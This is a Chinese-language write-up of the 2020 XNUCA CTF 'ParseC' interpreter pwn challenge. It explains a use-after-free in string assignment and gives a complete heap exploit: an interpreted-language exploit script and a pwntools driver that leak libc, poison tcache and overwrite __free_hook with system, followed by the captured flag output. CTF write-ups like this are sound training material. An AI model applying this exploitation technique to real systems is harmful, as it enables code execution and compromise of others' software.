2020 XNUCA CTF Pwn Wp

First Post:

Last Update:

Word Count:
1.7k

Read Time:
8 min

XNUCA WP

前言

这一次比赛虽然只做出了一道pwn,但是感觉收获不错,只够交wp的资格了,线下可能就比较悬。也白票出题人的代码是咋写的^_^,以前也是好奇在获得shell之后是如何实现输入token的。

还有以前也想学一下解释器是怎么实现的, 这次比赛pwn parsec出了个语言解释器, 也给了对应的源码, 源码不是很多, 但是非常精小而强悍。晚上利用该漏洞调试至凌晨4点,第二天才发现原来调试的一直是debug模式的解释器,不得不重新改改heap的偏移,然后后面打远程打不通…泄漏远程heap时,发现远程偏移比本地小0x410,这里卡了好久,,,tcl。下次比赛好好加油!!!

ParseC

给了源码

下载

这个题比较有意思, 用被解释的语言写exp。下面是这个解释器实例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Fibonacci sequence
func fun{
if(x <= 2){
return(1);
}
y = 0;
x = x - 1;
y = fun(x);
x = x - 1;
return(y + fun(x));
};

// save the Fibonacci sequence of 1 to 15 in an array
array arr(15);
x = 1;
while( x <= 15 ){
arr[x - 1] = fun(x);
x = 1 + x;
}

puts("Fibonacci sequence:");
// print the Fibonacci sequence of 1 to 15
i = 0;
while(i < 15){
print(arr[i]);
i=i+1;
}

vul

数组越接访问,但不可赋值

类型混淆

字符串赋值直接赋值指针变量, 还有free时没有对指针进行清0, 导致uaf漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
else if (token == Sym || token == ArraySym || token == StrSym) {
symbol* s = token_val.ptr;
int tktype = token;
int index;
match(tktype);
if (tktype == ArraySym) {
match('[');
index = expression();
match(']');
match('=');
if (index >= 0 && index < s->value) {
s->pointer.list[index].value = expression();
}
else{
printf("line %.*s: Index out of range\n",(int)(src - old_src), old_src);
exit(-1);
}
}
else {
match('=');
if (token == Str) {
if (s->pointer.funcp)
free(s->pointer.funcp); // not set ptr as null, uaf vul
s->pointer.funcp = (char*)token_val.ptr;
s->type = StrSym;
match(Str);
}
else if (token == Char) {
s->value = token_val.val;
s->type = Char;
match(Char);
}
else if (token == StrSym){
s->type = token_val.ptr->type;
s->value = token_val.ptr->value;
s->pointer = token_val.ptr->pointer;
match(StrSym);
}
else{
s->value = expression();
s->type = Num;
}
}
match(';');
}

思路

开始前期, 我还以为可以利用类型混淆来实现任意读写, 由于程序是有pie的, 不能直接静态执行脚本实现任意地址读和写。

数组与字符串是储存在堆里的, 原本打算是通过数组来泄漏libc, 后面发现行不通, 以double方式打印, 某些不符合double类型储存规范的, 直接为0。然而后面发现puts打印字符串可以泄漏libc, 采用字符串uaf漏洞+ 数组方式来进行修改释放后chunk的fd实现任意地址开辟, 这里需要精心的伪造.还有该解释器中定义的变量都是以double类型储存的, 在进行修改为值为地址时, 输入值为double类型的字符串, 需要进行一些转换。单个数组元素大小为0x40,实现修改的只能是采用数组来实现修改了, 那如何实现数组任意地址写入呢?就需要解释器中的字符串uaf漏洞进行修改fd, 采用partial write实现修改tcahe bin 0x51中的fd, 采用一次数组输入实现修改fd, 指向的内存, 后一次则是修改该内存的值。 修改__free_hooksystem, free时传入’bin/sh;’ 即可。坑: 本地打通, 远程打不通,远程中堆中不存在0x410的缓冲chunk。本地却存在,在打远程时,先开辟0x400大小的堆,以保证本地与远程的heap偏移一致。

脚本执行exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
func write_to_target {
unuse = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
array arr(1);
arr[0] = 1;
x = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
y = x;
z = x;

x = "free----";
y = "free------";
z = "free---------";
puts("AAAAAAAA");

z = x;
x = "12---------------"; // free x
x = z;
x = "12345454AAAAAAA--------------"; // free z
x = z;

x = "/bin/sh;aasfasdfjasdfklajsdfjasdjff"; //free x
u = "p"; // modify chunk fd to 0x50 chunk for modify fd
a = "malloc";
b = "H"; // modify chunk fd to arr value

arr[0] = 0;
n = 0;
read(n); // input target addr to modify
arr[0] = n;
array arr_2(1); // align
array arr_3(1); // align

puts("malloc target chunk");
array arr_mod(1); // modify target as one_gadget
arr_mod[0] = 0;

nn = 0;
read(nn);
arr_mod[0] = nn;

x = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
x = "------------------------------------get_shell--------------------------------------";
x = "getshelll";

};

func leak_libc {
// remote heap buffer for align heap offset
r = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

x = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

x = "free x"; // free x
// leak libc
puts("AAAAAAAA");
};

func error_exit {
array arr(1);
arr[2] = 0;
};

leak_libc();
write_to_target(t_addr);

交互exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os
import base64
import struct

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
#context.terminal = ['tmux', 'splitw', '-h']

elf_path = './ParseC'
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
#libc_path = '/glibc/2.27/64/lib/libc.so.6'

main_arena = 0x3ebc40

# remote server ip and port
server_ip = "123.57.4.93"
server_port = 34007

# if local debug
LOCAL = 0
LIBC = 1

#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def float_to_hex(f):
return hex(struct.unpack('<I', struct.pack('<f', f))[0])

def double_to_hex(f):
return hex(struct.unpack('<Q', struct.pack('<d', f))[0])

def double_to_long_int(f):
return struct.unpack('<Q', struct.pack('<d', f))[0]

def hex_to_double(d):
d = p64(d)
data = struct.unpack("d", d[:8])
return data

#--------------------------exploit--------------------------
print('double_hex: ' + double_to_hex(1.0))
print(hex_to_double(0x3ff0000000000000))
print(hex_to_double(0x1000))

def exploit():
li('exploit...')
if(LOCAL == 0):
fd = open('./exp.c', 'rb')
d = fd.read()
fd.close()
sla(':', base64.b64encode(d))
ru('-------------------------------------------------------\n')
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - main_arena - 1184
li('libc_base: ' + hex(libc_base))

#target = libc_base + libc.sym['__malloc_hook'] - 0x28
target = libc_base + libc.sym['__free_hook'] - 0x28
gadget = [0x4f3c2, 0x10a45c]
one_gadget = libc_base + gadget[0]
one_gadget = libc_base + libc.sym['system']
t = str(hex_to_double(target)).split(',')[0][1:]
o = str(hex_to_double(one_gadget)).split(',')[0][1:]
li('target = ' + hex(target) + ' double: ' + t)
li('one_gadget = ' + hex(one_gadget) + ' double: ' + o)
db()
sleep(1)
t = t.ljust(0x20, '\x00')
s(t)
ru('chunk')
sleep(1)
o = o.ljust(0x20, '\x00')
#for _ in range(2):
s(o)

def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(['exp.c'], env = {'LD_PRELOAD' : libc_path})
#io = elf.process()
else:
io = elf.process()

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

1
2
3
4
5
6
Congratulations,please input your token: $ icq2383351cba441087032e259a726b5
[DEBUG] Sent 0x21 bytes:
'icq2383351cba441087032e259a726b5\n'
[DEBUG] Received 0x26 bytes:
'flag{d90118536dc642041ba9dfa4fc47f28f}'
flag{d90118536dc642041ba9dfa4fc47f28f}[DEBUG] Received 0x37 bytes:
打赏点小钱
支付宝 | Alipay
微信 | WeChat